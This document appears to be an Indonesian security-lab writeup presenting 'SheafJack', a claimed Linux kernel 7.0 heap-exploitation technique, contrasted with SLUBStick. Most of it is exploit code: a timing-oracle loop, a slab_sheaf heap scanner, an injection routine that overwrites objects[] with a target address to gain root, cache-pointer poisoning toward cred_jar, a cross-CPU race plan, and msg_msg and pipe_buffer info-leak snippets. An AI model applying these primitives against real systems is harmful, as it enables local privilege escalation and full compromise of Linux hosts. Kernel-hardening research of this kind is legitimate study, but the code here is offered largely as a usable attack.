✦ BLUE DRAGON SECURITY RESEARCH LAB ✦

SheafJack

Novel Series Exploitation
Teknik Pembajakan Jalur Alokasi di Kernel 7.0
via Arsitektur `slab_sheaf`

❦ *Tanpa Timing Oracle · Direct objects[] Overwrite* ❦

Antonius (w1sdom) · Blue Dragon Security Research Lab · bluedragonsec.com
Indonesia · 2026

Abstrak

SheafJack adalah teknik exploitasi kernel baru yang menargetkan arsitektur `slab_sheaf` yang diperkenalkan di Linux kernel 7.0. Berbeda dengan SLUBStick (USENIX Security 2024) yang mengandalkan **timing side-channel sebagai oracle iteratif** untuk memulihkan kunci XOR yang mengenkode pointer `kmem_cache_cpu.freelist` di kernel 6.x, SheafJack **tidak membutuhkan timing measurement maupun iterasi decode**. Array `slab_sheaf.objects[]` menyimpan pointer secara raw tanpa encoding. Satu overwrite langsung pada satu slot sudah cukup untuk mengarahkan alokasi kernel berikutnya ke alamat sembarang — tanpa oracle, tanpa loop, tanpa side-channel.

Tiga attack vector didokumentasikan: **V1** (direct overwrite slot `objects[]` — kompleksitas rendah), **V2** (korupsi pointer `slab_sheaf.cache` untuk type confusion — sedang), dan **V3** (lock race cross-CPU pada `node_barn` untuk injeksi fake sheaf — tinggi). Untuk privilege escalation via cred.uid=0 menggunakan V1, KASLR bypass tidak diperlukan. Estimasi success rate: 85–95%.

1 SLUBStick di Kernel 6 — Mekanisme Lengkap

SLUBStick (USENIX Security 2024) mengkonversi **limited write primitive** — misalnya 1-byte overflow — menjadi arbitrary write dengan mengexploitasi timing side-channel pada SLUB allocator. Memahami SLUBStick secara mendalam sebelum SheafJack sangat penting, justru karena perbedaannya yang fundamental dan bukan superfisial.

1.1 Struktur Target: kmem_cache_cpu

Di kernel 6.x, setiap `kmem_cache` mempertahankan satu instance `kmem_cache_cpu` per-CPU (diakses via `this_cpu_ptr(&cache->cpu_slab)`). Field kritis adalah `freelist`, menunjuk ke free object berikutnya dan dikodekan XOR untuk keamanan:

C — include/linux/slub_def.h (kernel 6.x)

```
struct kmem_cache_cpu {
    void         **freelist;  /* Free object berikutnya — XOR-ENCODED!    */
    unsigned long  tid;       /* Transaction ID, anti-preemption           */
    struct slab   *slab;      /* Slab page yang sedang aktif               */
    struct slab   *partial;   /* Per-cpu partial slabs list                */
};

/* Encoding (CONFIG_SLAB_FREELIST_HARDENED — ON by default di distro):
 *
 *   encoded_ptr = raw_ptr  XOR  s->random  XOR  swab(slot_addr)
 *
 *   s->random  = kunci rahasia per-cache, di-set saat kmem_cache_create()
 *   slot_addr  = alamat slot freelist yang menyimpan pointer ter-encode
 *   swab()     = byte-swap (hardening endianness)
 *
 * Rumus decode (diverifikasi: linux-6.19.11 baris 585):
 *   raw_ptr = encoded_ptr  XOR  s->random  XOR  swab(slot_addr)
 *
 * Contoh freelist chain dalam satu slab page (objek A, B, C semuanya free):
 *   A.freeptr = encode(B_addr) → B.freeptr = encode(C_addr) → NULL
 *   kmalloc() → ambil A → freelist = decode(A.freeptr) = B_addr
 */
```

1.2 Visualisasi Freelist Chain di Memory

Memory — freelist chain di dalam satu slab page (K6)

```
slab page (physical page 4 KB):
┌──────────────────────────────────────────────────────────┐
│ slot 0:  [ data objek ... | encoded_freeptr → slot 1 ]   │
│ slot 1:  [ data objek ... | encoded_freeptr → slot 3 ]   │
│ slot 2:  [ TERPAKAI — sedang digunakan kernel/user ]     │
│ slot 3:  [ data objek ... | encoded_freeptr → slot 4 ]   │
│  ...                                                     │
└──────────────────────────────────────────────────────────┘


kmem_cache_cpu.freelist = encode(alamat_slot_0)


Traversal: decode(freelist) → raw addr slot 0 → baca field
           freeptr berikutnya → decode → raw addr slot 1 → ...
```

1.3 Timing Oracle — Mekanisme dan Algoritma

Insight inti SLUBStick: alokasi yang **hit percpu freelist** (~50–200 ns) 10–40× lebih cepat dari alokasi yang membutuhkan slab page baru (~800–4000 ns). Perbedaan ini konsisten dan terukur, membentuk oracle biner yang reliabel.

C — SLUBStick timing oracle loop (pseudocode lengkap)

```
/* Tujuan: reconstruct s->random agar bisa encode arbitrary target addr.
 * Prasyarat: OOB write (misal 1-byte overflow) ke slot freelist.
 * Metode: corrupt satu byte sekaligus, ukur latency alokasi.
 *         Cepat → decode masih valid (byte ini tidak kritis).
 *         Lambat → decode rusak (byte kritis) → catat kandidat.    */

#define THRESHOLD_NS_CEPAT   400ULL
#define JUMLAH_SAMPEL          8

uint64_t kunci_terekonstruksi = 0;

for (int idx_byte = 0; idx_byte < 8; idx_byte++) {
    for (int nilai = 0; nilai < 256; nilai++) {
        /* Corrupt satu byte dari encoded freelist pointer */
        oob_tulis_byte(alamat_slot_freelist + idx_byte, nilai);

        /* Ukur latency alokasi (rata-rata dari JUMLAH_SAMPEL) */
        uint64_t total = 0;
        for (int s = 0; s < JUMLAH_SAMPEL; s++) {
            uint64_t t0 = waktu_ns();
            picu_kmalloc(UKURAN_TARGET); /* misal: msgsnd/pipe/write */
            total += waktu_ns() - t0;
            kembalikan_alokasi();
        }
        uint64_t rata = total / JUMLAH_SAMPEL;

        if (rata < THRESHOLD_NS_CEPAT) {
            /* Decode valid: nilai ini adalah byte aslinya */
            kunci_terekonstruksi |= (uint64_t)nilai << (idx_byte * 8);
            pulihkan_byte_freelist(idx_byte, nilai);
            break;
        }
        /* Decode rusak: pulihkan dan coba nilai berikutnya */
        pulihkan_byte_freelist(idx_byte, byte_asli[idx_byte]);
    }
}
/* Setelah loop: kunci_terekonstruksi == s->random */

/* Inject arbitrary address ke freelist */
uint64_t target  = (uint64_t)&objek_korban;
uint64_t encoded = target ^ kunci_terekonstruksi ^ swab64(alamat_slot_freelist);
oob_tulis_qword(alamat_slot_freelist, encoded);
/* → kmalloc(UKURAN_TARGET) berikutnya mengembalikan &objek_korban */
```

Total iterasi worst case: **256 × 8 = 2048 siklus alokasi/free** per satu percobaan exploit. Dalam praktik lebih rendah karena sebagian besar nilai cepat dikesampingkan, namun proses ini secara inheren berisik dan menghasilkan ratusan hingga ribuan pola alokasi anomali.

✗ SLUBStick TIDAK BEKERJA di Kernel 7
SLUBStick bergantung pada dua hal yang structurally tidak ada di K7:
(1) kmem_cache_cpu dengan XOR-encoded freelist chain — struct ini diganti sepenuhnya oleh slub_percpu_sheaves di K7.
(2) Percpu linked freelist di dalam slab page yang bisa di-corrupt bit-per-bit sebagai timing oracle — chain ini sudah tidak ada.
Tidak ada emulasi, tidak ada compatibility layer. Kedua struktur secara arsitektural sudah hilang.

2 Kenapa SLUBStick Mati di Kernel 7

Kernel 7.0 mengganti seluruh model percpu allocator. Ini bukan sekadar rename — konsep linked-freelist-in-slab-page secara arsitektural dihapus, digantikan oleh model sheaves. Berikut perbandingan strukturalnya:

KERNEL 6 — SLUBStick Ada Target

```
struct kmem_cache_cpu {
  void **freelist; /* XOR-ENCODED */
  unsigned long tid;
  struct slab *slab;
  struct slab *partial;
};

/* Freelist = linked chain
 * disimpan di DALAM slab page
 * XOR encoded per slot
 * → timing oracle bekerja    */
```

KERNEL 7 — SLUBStick Tidak Ada Target

```
struct slub_percpu_sheaves {
  struct slab_sheaf *main;
  struct slab_sheaf *spare;
};

/* slab_sheaf.objects[]:
 * flat void* array
 * TANPA XOR, TANPA ENCODING
 * → direct overwrite
 * → timing oracle HILANG    */
```

Komponen	Kernel 6	Kernel 7	Dampak ke SLUBStick
kmem_cache_cpu	**Ada**	**HILANG — diganti**	Struct target utama tidak ada
XOR-encoded freelist	**Ada**	**HILANG**	Tidak ada yang perlu di-decode
In-slab linked chain	**Ada**	**HILANG**	Timing oracle kehilangan target
Flat objects[] array	**Tidak ada**	**BARU — unencoded**	Attack surface baru: direct write
node_barn NUMA pool	**Tidak ada**	**BARU — shared**	Race surface cross-CPU baru (V3)
freelist_ptr_decode()	**Ada**	**Ada tapi tak terpakai**	Formula tetap; chain-nya hilang

Sisi Positif — Mengapa K7 Lebih Mudah di Satu Sisi

Hilangnya XOR encoding berarti slab_sheaf.objects[] menyimpan pointer secara raw tanpa encoding. Attacker yang bisa menjangkau region ini via OOB atau UAF write tidak membutuhkan oracle sama sekali — tulis langsung. SheafJack lebih simpel per-operasi dibanding SLUBStick. Kompleksitas bergeser dari kalibrasi timing ke menemukan sheaf via info leak.

3 SheafJack — Konsep dan Attack Vector

SheafJack adalah nama untuk kelas teknik exploitasi yang secara spesifik menargetkan arsitektur `slab_sheaf` / `node_barn` di Linux kernel 7.0+. "Sheaf" = struct `slab_sheaf` yang diserang; "Jack" = hijack — merebut kendali jalur alokasi kernel.

3.1 Perbedaan Fundamental dari SLUBStick

Aspek	SLUBStick (K6)	SheafJack (K7)
Primitif inti	Timing side-channel sebagai binary oracle	Direct overwrite pointer
Struktur target	kmem_cache_cpu.freelist (linked list)	slab_sheaf.objects[] (flat array)
Encoding pointer	XOR + kunci rahasia per-cache	TIDAK ADA — pointer disimpan plain
Iterasi decode	100–500+ (loop oracle byte-per-byte)	0 — satu write sudah cukup
Butuh heap infoleak?	Tidak — timing berfungsi sebagai oracle	YA — butuh heap address (§8)
Butuh KASLR bypass?	Tidak	Tidak untuk target cred overwrite (§9)
Noise di audit log	TINGGI — ratusan syscall anomali	RENDAH — sedikit write terarah
Target kernel	5.x – 6.x	7.0+
Kompleksitas utama	Kalibrasi timing, filter noise	Temukan sheaf via info leak

3.2 Tiga Attack Vector

Vector	Prasyarat Write	Target Field	Hasil	Kompleksitas
V1: objects[] Overwrite	OOB/UAF write ke region slab_sheaf	objects[size-1] — LIFO top slot	Alamat sembarang pada kmalloc() berikutnya	**Rendah**
V2: cache Ptr Poison	Write ke header slab_sheaf +0x18	slab_sheaf.cache (kmem_cache*)	Type confusion → akses objek cross-cache	**Sedang**
V3: Barn Lock Race	UAF/double-free + timing cross-CPU	node_barn.empty_list via stale read	Fake sheaf → kendali penuh objects[]	**Tinggi**

4 Memory Layout: slab_sheaf di Kernel 7.0

4.1 Definisi Struktur

C — mm/slub.c kernel 7.0-rc7 (direkonstruksi dari source)

```
/* Unit alokasi per-sheaf. Satu kmem_cache memiliki banyak sheaf:
 * satu per CPU (main + spare) dan pool di node_barn.              */
struct slab_sheaf {
    /* +0x00 */ unsigned int      capacity; /* kapasitas max objects[]    */
    /* +0x04 */ unsigned int      size;     /* entri valid saat ini        */
    /* +0x08 */ struct list_head  list;     /* node: barn->empty/full     */
    /* +0x18 */ struct kmem_cache *cache;  /* ← TARGET V2 (back-ptr)     */
    /* +0x20 */ void              *objects[]; /* ← TARGET V1 — RAW, UNENCODED */
    /*
     * LIFO stack: alokasi melakukan pop objects[--size].
     *             free melakukan push objects[size++] = freed_ptr.
     * objects[0..size-1] adalah pointer free yang valid — TANPA XOR.
     * objects[size-1]    adalah slot BERIKUTNYA yang akan diambil.
     */
};

/* Menggantikan kmem_cache_cpu sepenuhnya di K7 */
struct slub_percpu_sheaves {
    struct slab_sheaf *main;   /* sheaf aktif: semua alloc/free via sini  */
    struct slab_sheaf *spare;  /* cadangan: di-swap saat main exhausted   */
};

/* Pool NUMA-shared — sumber dan tujuan sheaf untuk percpu */
struct node_barn {
    spinlock_t        lock;        /* melindungi kedua list di bawah       */
    struct list_head  empty_list;  /* sheaf kosong, siap di-refill         */
    struct list_head  full_list;   /* sheaf penuh, siap didistribusikan    */
    unsigned int      nr_empty;   /* ← DIBACA via data_race()! stale OK   */
    unsigned int      nr_full;
};
```

4.2 Diagram Memory Beranotasi

Memory — instance slab_sheaf aktif (capacity=16, cache kmalloc-128)

4.3 Ukuran slab_sheaf Per Cache

kmem_cache	Capacity tipikal	sizeof(slab_sheaf)	Masuk bucket
kmalloc-64	32	0x20 + 32×8 = 288 B	kmalloc-512
kmalloc-128	16	0x20 + 16×8 = 160 B	kmalloc-192
kmalloc-256	8	0x20 + 8×8 = 96 B	kmalloc-96
kmalloc-1k	4	0x20 + 4×8 = 64 B	kmalloc-64

Catatan Verifikasi

Cross-check dengan KASAN stack trace untuk mengkonfirmasi size class alokasi dan alignment objek sesuai versi K7.

4.4 Alokasi Fast-Path - Target Serangan

C — mm/slub.c — fast path slab_alloc_node() (K7, disederhanakan)

```
static void *slab_alloc_node(struct kmem_cache *s, gfp_t gfpflags, int node)
{
    struct slub_percpu_sheaves *ps = get_cpu_ptr(s->cpu_sheaves);
    struct slab_sheaf *sheaf = ps->main;

    if (likely(sheaf && sheaf->size > 0)) {
        /* LIFO pop dari flat array objects[] */
        void *obj = sheaf->objects[--sheaf->size];
        /*
         * ↑↑ DI SINILAH SHEAFJACK V1 MENYERANG ↑↑
         *
         * Jika objects[size-1] sudah dioverwrite oleh attacker
         * dengan alamat sembarang (misal &cred->uid),
         * maka obj = &cred->uid — dikembalikan ke caller.
         * Caller kemudian menulis data ke "objek baru" ini,
         * yang sebenarnya menulis KE target address tersebut.
         */
        put_cpu_ptr(s->cpu_sheaves);
        return obj;
    }

    /* Slow path: sheaf habis → swap main/spare atau fetch dari barn */
    put_cpu_ptr(s->cpu_sheaves);
    return __slab_alloc(s, gfpflags, node);
}
```

5 Attack Vector 1: Overwrite Slot objects[]

5.1 Mengapa Ini Bekerja — Insight Kunci

Di K6, attacker harus terlebih dahulu **merekonstruksi s->random** via 100–500+ iterasi timing sebelum bisa inject arbitrary address. Di K7, `objects[]` menyimpan raw pointer tanpa encoding. Attacker dengan OOB atau UAF write yang bisa menjangkau region slab_sheaf dapat **langsung menimpa satu slot** dengan target address. Tidak ada oracle, tidak ada iterasi, tidak ada timing measurement. Satu write → satu alokasi terkendali.

5.2 Prasyarat

- **OOB write** dari objek adjacent yang bisa menjangkau region slab_sheaf di kernel heap — ATAU —
- **UAF write** ke freed object yang slab page-nya adjacent dengan alokasi slab_sheaf — ATAU —
- **Arbitrary kernel write** primitive (bisa di-bootstrap dari langkah SheafJack V1 sebelumnya)
- Sebuah **heap address leak** untuk menemukan active slab_sheaf (lihat §8). KASLR bypass TIDAK diperlukan untuk target cred (lihat §9).

5.3 Langkah-Langkah Exploitasi

1. **Spray dan Posisi:** Alokasikan ≥64 objek dari target size class (misal kmalloc-128 via `msgsnd`). Free 8–12 di antaranya untuk membuat partial active slab_sheaf. Ini memposisikan alamat freed object di dalam `objects[]` dan memastikan sheaf dapat dijangkau dari objek spray terdekat.
2. **Info Leak — Dapatkan Alamat slab_sheaf:** Gunakan salah satu teknik di §8 (stale objects[] pointer via UAF read, msg_msg list_head, pipe_buffer.page) untuk mendapat kernel heap address. Gunakan sebagai base untuk scanning.
3. **Temukan Active slab_sheaf:** Scan heap menggunakan heuristic scanner (§8.2) untuk menemukan kandidat slab_sheaf dengan capacity, size, cache pointer, dan objects[0] yang valid.
4. **Baca sheaf.size:** `arb_read32(sheaf_addr + 0x04)` memberikan LIFO top index. Alokasi berikutnya akan mengkonsumsi `objects[size-1]`.
5. **Hitung Offset Slot Target:** `slot_off = 0x20 + (size - 1) × 8`
6. **Pin CPU:** `sched_setaffinity(0, &set_cpu0)` untuk meminimisasi preemption antara operasi read-size dan write-slot.
7. **Overwrite Slot:** `oob_write_qword(sheaf_addr + slot_off, target_addr)` — tanpa XOR, tanpa encoding, plain direct write.
8. **Verifikasi Injeksi:** `arb_read64(sheaf_addr + slot_off) == target_addr`? Jika verify gagal, CPU lain mengkonsumsi slot selama race window — increment size dan retry.
9. **Trigger Satu Alokasi:** Satu syscall yang menyebabkan `kmalloc(128)` dari cache yang sama (misal `msgsnd`, `write`, `sendmsg`). Kernel mengembalikan `target_addr` sebagai buffer teralokasi.
10. **Tulis via Pointer yang Dikembalikan:** Data yang di-copy kernel ke "objek baru" ini mendarat di `target_addr`. Jika target = `&cred->uid`, payload zero menyetel uid=0 → root.

5.4 Implementasi Eksploit

C — sheafjack_v1_core.c — scanner sheaf + injeksi

```
static inline bool is_kptr(unsigned long p) { return (p >> 48) == 0xFFFF; }

/* ── Scanner: temukan active slab_sheaf dengan heuristic ────────── */
unsigned long temukan_sheaf_aktif(unsigned long base, unsigned int ukuran_obj) {
    for (unsigned long off = 0; off < 0x100000; off += 0x40) {
        unsigned long a   = base + off;
        unsigned int  cap = arb_read32(a);
        unsigned int  sz  = arb_read32(a + 0x04);

        /* Heuristic 1: capacity dalam [4, 64] */
        if (cap < 4 || cap > 64)     continue;
        /* Heuristic 2: 0 < size <= capacity */
        if (sz == 0 || sz > cap)     continue;
        /* Heuristic 3: list.next = valid kernel pointer */
        if (!is_kptr(arb_read64(a + 0x08)))  continue;
        /* Heuristic 4: cache pointer = valid kernel pointer */
        if (!is_kptr(arb_read64(a + 0x18)))  continue;
        /* Heuristic 5: objects[0] = valid heap address */
        if (!is_kptr(arb_read64(a + 0x20)))  continue;
        /* Heuristic opsional 6: verifikasi cache->size == ukuran_obj */
        if (ukuran_obj > 0) {
            unsigned int csz = arb_read32(arb_read64(a+0x18) + OFFSET_KMEM_CACHE_SIZE);
            if (csz != ukuran_obj) continue;
        }
        printf("[+] slab_sheaf @ 0x%lx  cap=%u sz=%u cache=0x%lx
",
               a, cap, sz, arb_read64(a + 0x18));
        return a;
    }
    return 0;
}

/* ── SheafJack V1: inject target_addr ke LIFO top objects[] ──────── */
int sheafjack_v1_inject(unsigned long sheaf_addr, unsigned long target) {
    /* Pin ke CPU0 untuk meminimisasi race window preemption */
    cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(0, &cpuset);
    sched_setaffinity(0, sizeof(cpuset), &cpuset);

    unsigned int  sz      = arb_read32(sheaf_addr + 0x04);
    if (sz == 0) {
        fprintf(stderr, "[-] sheaf.size=0: sheaf habis, perlu refill
");
        return -1;
    }

    unsigned long slot_off = 0x20 + (sz - 1) * 8;
    printf("[*] sheaf.size=%u → target objects[%u] @ sheaf+0x%lx
",
           sz, sz-1, slot_off);
    printf("[*] Menginjeksi target = 0x%lx
", target);

    /* THE WRITE — tanpa XOR, tanpa encoding, sepenuhnya direct */
    oob_write_qword(sheaf_addr + slot_off, target);

    /* Verifikasi — jika race menyebabkan miss, caller harus retry */
    unsigned long cek = arb_read64(sheaf_addr + slot_off);
    if (cek != target) {
        fprintf(stderr, "[-] Verifikasi gagal: got 0x%lx, expected 0x%lx
",
                cek, target);
        fprintf(stderr, "[-] Race condition — slot dikonsumsi saat inject
");
        return -1;
    }

    printf("[+] Injeksi terverifikasi! kmalloc berikutnya → 0x%lx
```

```
  ", target);
      return 0;
  }
```

> ⚠️ **Race Condition: Baca Size vs. Tulis Slot**
>
> Ada window antara arb_read32(sheaf.size) dan oob_write_qword(slot). Jika CPU lain mengkonsumsi objects[size-1] dalam window ini, injeksi meleset atau mengkorusi slot yang salah. Tiga mitigasi:
>
> 1. CPU pin via sched_setaffinity(0, &set_cpu0) sebelum seksi kritis.
>
> 2. Overwrite beberapa slot adjacent sekaligus (objects[size-1], objects[size-2], ...) untuk toleransi race window.
>
> 3. FUSE passthrough trick: tahan FUSE request terbuka untuk mem-pause alokasi di size class target selama injeksi.

6 Attack Vector 2: Korupsi Cache Pointer

6.1 Mekanisme — Type Confusion via kmem_cache yang Tidak Cocok

Field `slab_sheaf.cache` di offset `+0x18` adalah back-pointer ke `kmem_cache` yang memiliki sheaf ini. Tiga fungsi kernel membacanya secara kritis: `refill_sheaf()` (untuk tahu dari slab page mana mengisi ulang), `sheaf_flush_unused()` (untuk tahu ke mana mengembalikan objek), dan `sheaf_free_bulk()` (routing bulk free). Mengkorusi pointer ini menciptakan type confusion yang senyap.

C — efek downstream dari korupsi sheaf->cache (kmalloc-128 → cred_jar)

```
/* Skenario: attacker menulis cred_jar_ptr ke sheaf->cache.
 *
 * Di dalam refill_sheaf():
 *   struct kmem_cache *s = sheaf->cache;    // SEKARANG s = cred_jar
 *   struct slab *slab = get_partial(s, ...); // slab dari cred_jar
 *   void *obj = slab_to_obj(slab, s->offset); // objek struct cred!
 *   sheaf->objects[sheaf->size++] = obj;
 *
 * Hasil: objects[] sekarang berisi pointer ke objek struct cred.
 *
 * Alokasi berikutnya dari "kmalloc-128" mengembalikan &some_cred.
 * Caller — mengira mendapat buffer 128-byte — menulis ke dalamnya.
 * cred->uid = 0, cred->gid = 0, cred->euid = 0, cred->cap_* = ...
 * → root tanpa pernah menyentuh cred secara langsung via V1.
 *
 * Deteksi: KASAN/SLUB debug akan menandai mismatch ukuran.
 *          Kernel production: SENYAP — tidak ada warning sama sekali. */


/* Implementasi */
unsigned long ptr_cred_jar = temukan_ptr_kmem_cache("cred_jar");
arb_write64(sheaf_addr + 0x18, ptr_cred_jar);  /* racuni cache ptr */


/* Picu refill sheaf (habiskan objects[] yang ada, lalu alokasikan) */
habiskan_slot_sheaf(128, ukuran_sheaf);       /* habiskan semua slot */
void *dapat = picu_kmalloc_128();             /* mengembalikan &struct cred */
memset(dapat, 0, 128); /* → uid=0, gid=0, euid=0, caps=0 → root */
```

6.2 Cache Target untuk Type Confusion

Cache Asal	Corrupt Cache Ptr ke	Efek exploitasi	Reliabilitas
kmalloc-192	cred_jar (objek 192B)	Overwrite struct cred → uid/gid/caps=0 → root	**Tinggi**
kmalloc-128	files_cache	Corrupt struct files_struct → pembajakan fd table	**Sedang**
kmalloc-256	vm_area_cachep	Manipulasi VMA → bypass privilege mmap	**Sedang**
kmalloc-512	sighand_cache	Overwrite tabel signal handler	**Sedang**
kmalloc-96	sock_inode_cache	Corrupt inode socket → bypass capability	**Rendah**

6.3 Cara Mendapatkan Pointer cred_jar

C — pendekatan untuk mendapat alamat kmem_cache cred_jar

```
/* Opsi 1: KASLR bypass + simbol kernel
 *   cred_jar adalah global: static struct kmem_cache *cred_jar (mm/cred.c)
```

```
 *   Jika KASLR slide diketahui: cred_jar_addr = kaslr_base + offset_compile
 *
 * Opsi 2: Heap scan untuk kmem_cache dengan ukuran yang cocok
 *   sizeof(struct cred) ≈ 192 byte di K7.
 *   Scan kernel heap untuk kmem_cache dengan s->size == 192
 *   dan s->name == "cred_jar".
 */
unsigned long temukan_cred_jar_via_scan(unsigned long heap_base) {
    for (unsigned long a = heap_base; a < heap_base+0x200000; a += 0x10) {
        unsigned int  sz   = arb_read32(a + OFFSET_KMEM_CACHE_SIZE);
        unsigned long name = arb_read64(a + OFFSET_KMEM_CACHE_NAME);
        if (sz != 192) continue;
        char buf[16];
        arb_read_bytes(name, buf, 8);
        if (memcmp(buf, "cred_jar", 8) == 0) return a;
    }
    return 0;
}
```

7 Attack Vector 3: Barn Lock Race (node_barn)

7.1 Pattern Vulnerable: data_race() di Fast-Path

Struktur `node_barn` mengkoordinasikan distribusi sheaf antar CPU. Di dalam `barn_get_empty_sheaf()`, kernel membaca `nr_empty` **tanpa memegang spinlock** — dibungkus dalam `data_race()` untuk menekan warning KCSAN. Intentional stale read ini menciptakan window yang bisa diexploitasi attacker:

C — mm/slub.c — barn_get_empty_sheaf() (kernel 7.0-rc7)

```
static struct slab_sheaf *
barn_get_empty_sheaf(struct node_barn *barn,
                     unsigned long *flags, bool allow_spin)
{
    struct slab_sheaf *sheaf;

    /*
     * FAST-PATH: baca nr_empty TANPA spinlock.
     * data_race() = supresi KCSAN/TSAN — ini adalah intentional data race.
     * Justifikasi kernel: nr_empty yang stale menyebabkan fallback
     * suboptimal (alloc_empty_sheaf), bukan bug.
     *
     * WINDOW ATTACKER: nr_empty stale > 0 menyebabkan kita masuk ke
     * slow-path lock acquisition. Antara data_race() read dan
     * spin_lock() aktual, attacker di CPU lain bisa menginjeksi
     * slab_sheaf palsu ke barn->empty_list.
     */
    if (!data_race(barn->nr_empty))    /* ← RACE WINDOW DIMULAI DI SINI */
        return NULL;

    /* SLOW-PATH: acquire spinlock untuk operasi list aktual */
    if (likely(allow_spin))
        spin_lock_irqsave(&barn->lock, *flags);
    else if (!spin_trylock_irqsave(&barn->lock, *flags))
        return NULL;

    /* Seksi kritis */
    sheaf = list_first_entry_or_null(&barn->empty_list,
                                     struct slab_sheaf, list);
    if (sheaf) { list_del(&sheaf->list); barn->nr_empty--; }

    spin_unlock_irqrestore(&barn->lock, *flags);
    return sheaf;  /* NULL jika barn kosong meski data_race() bilang ≥1 */
}
```

7.2 Timeline Serangan Cross-CPU

Timeline — injeksi fake sheaf ke node_barn

```
  Thread A (CPU 0)                    Thread KORBAN (CPU 1)
  ──────────────────────────────────  ──────────────────────────────────

  T0: barn_put_sheaf():
      spin_lock(barn)
      barn->nr_empty++ = 1
      list_add(&sheaf->list)
      spin_unlock(barn)

                                       T1: slab_alloc_node() → butuh sheaf
                                           data_race(barn->nr_empty) → 1
                                           [RACE WINDOW DIBUKA]

  T2: ATTACKER menginjeksi fake_sheaf:
      fake_sheaf.capacity = 16
      fake_sheaf.size     = 4
      fake_sheaf.cache    = cache_target
      fake_sheaf.objects  = {
        &cred->uid, &cred->uid,
        &cred->uid, &cred->uid
      }
      /* Hubungkan ke barn->empty_list sebelum lock */
```

```
    oob_write → manipulasi list

                                        T3: spin_lock(barn)
                                            list_first = fake_sheaf ← !!!
                                            list_del, nr_empty--
                                            spin_unlock

                                        T4: kembalikan fake_sheaf

T5: CPU Korban menggunakan fake_sheaf sebagai main baru:
    kmalloc() berikutnya → objects[--size] = &cred->uid
    caller tulis ke "buffer baru" → overwrite cred → root
```

7.3 Persyaratan dan Keterbatasan

- **Persyaratan primitif:** kemampuan menulis crafted `slab_sheaf` struct ke heap (misal via `kmalloc` dengan konten terkendali), dan kemampuan menghubungkannya ke `barn->empty_list` sebelum korban mengambil lock (membutuhkan OOB write ke list_head atau arbitrary write)
- **Persyaratan threading:** minimal 2 thread dengan CPU affinity ke CPU berbeda (`sched_setaffinity`)
- **Persyaratan timing:** kontrol scheduling yang presisi untuk menutup race window secara reliabel
- **Lebar race window:** tipikal puluhan nanosecond — banyak retry diperlukan untuk reliabilitas

8 Strategi Info Leak untuk Menemukan slab_sheaf

SheafJack V1 membutuhkan alamat runtime dari struct `slab_sheaf` aktif. Empat teknik reliabel berikut diurutkan dari paling sederhana ke paling kompleks.

8.1 Teknik 1: Stale Pointer objects[] via UAF Read

Ketika objek di-free, alamatnya di-push kembali ke `objects[size]` di active sheaf. Jika ada primitif UAF read pada freed object, raw heap pointer langsung tersedia. Di K7, freed object **TIDAK di-encode pointer-nya** (berbeda dengan freelist entry K6), membuat teknik ini sangat mudah:

C — stale pointer objects[] via UAF

```
int qid = msgget(IPC_PRIVATE, 0600|IPC_CREAT);
struct { long mt; char buf[120]; } m = {.mt=1};
memset(m.buf, 0x41, 120);
msgsnd(qid, &m, 120, 0);           /* alokasikan msg_msg di kmalloc-128 */

/* Free: kernel push alamat msg_msg → objects[size] di active sheaf */
msgrcv(qid, &m, 120, 0, 0);

/* UAF read pada freed msg_msg: 8 byte pertama = raw heap pointer.
 * Di K7 TIDAK XOR-encoded (berbeda dengan freelist K6).          */
unsigned long bocoran    = uaf_read_qword(0);
unsigned long heap_base  = bocoran & ~(unsigned long)0xFFFF;
printf("[*] Estimasi heap_base: 0x%lx
", heap_base);
unsigned long sheaf_addr = temukan_sheaf_aktif(heap_base, 128);
```

8.2 Teknik 2: Heap Scanner dengan Multi-Heuristic

C — is_valid_slab_sheaf() + temukan_sheaf_aktif()

```
static inline bool is_kptr(unsigned long p) { return (p >> 48) == 0xFFFF; }

bool adalah_sheaf_valid(unsigned long addr, unsigned int ukuran_obj_diharapkan) {
    if (!is_kptr(addr)) return false;

    unsigned int cap = arb_read32(addr);
    unsigned int sz  = arb_read32(addr + 0x04);

    if (cap < 4  || cap > 64)   return false;   /* sanity capacity  */
    if (sz  == 0 || sz  > cap)  return false;   /* size dalam [1,cap] */

    unsigned long ln = arb_read64(addr + 0x08);  /* list.next */
    unsigned long lp = arb_read64(addr + 0x10);  /* list.prev */
    if (!is_kptr(ln) || !is_kptr(lp)) return false;

    unsigned long cache = arb_read64(addr + 0x18);
    if (!is_kptr(cache)) return false;

    /* objects[0] harus merupakan valid heap kernel address */
    if (!is_kptr(arb_read64(addr + 0x20))) return false;

    /* Opsional: verifikasi kmem_cache->size cocok dengan target cache */
    if (ukuran_obj_diharapkan > 0) {
        unsigned int s = arb_read32(cache + OFFSET_KMEM_CACHE_SIZE);
        if (s != ukuran_obj_diharapkan) return false;
    }

    /* Opsional: verifikasi objects[0..2] semua adalah valid heap ptr */
    unsigned int n_cek = (sz > 3) ? 3 : sz;
    for (unsigned int i = 0; i < n_cek; i++) {
        if (!is_kptr(arb_read64(addr + 0x20 + i*8))) return false;
    }
```

```
    return true;
}

unsigned long temukan_sheaf_aktif(unsigned long heap_base, unsigned int ukuran_obj) {
    for (unsigned long off = 0; off < 0x100000; off += 0x40) {
        unsigned long a = heap_base + off;
        if (adalah_sheaf_valid(a, ukuran_obj)) {
            printf("[+] slab_sheaf @ 0x%lx (cap=%u sz=%u)
",
                   a, arb_read32(a), arb_read32(a+4));
            return a;
        }
    }
    /* Scan mundur juga */
    for (unsigned long off = 0x40; off < 0x80000; off += 0x40) {
        unsigned long a = heap_base - off;
        if (adalah_sheaf_valid(a, ukuran_obj)) {
            printf("[+] slab_sheaf @ 0x%lx (cap=%u sz=%u)
",
                   a, arb_read32(a), arb_read32(a+4));
            return a;
        }
    }
    return 0;
}
```

8.3 Teknik 3: Kernel Pointer pipe_buffer.page

Sebuah `struct pipe_buffer` yang dialokasikan di kmalloc-cg-128 berisi `struct page *page` sebagai member pertamanya. Ini adalah kernel direct-map pointer (`0xFFFFEA...` di area vmemmap). Jika ada OOB read dari objek adjacent, pointer ini dapat digunakan untuk menurunkan kernel heap base:

C — bocoran pointer pipe_buffer.page

```
int pfd[2]; pipe(pfd);
write(pfd[1], "AAAA", 4);           /* alokasikan pipe_buffer di zona target */

/* Spray tambahan pipe adjacent ke victim untuk OOB read reliabel */
for (int i = 0; i < 8; i++) {
    int p[2]; pipe(p); write(p[1], "B", 1);
}

/* OOB read dari objek adjacent ke pipe_buffer.page offset:
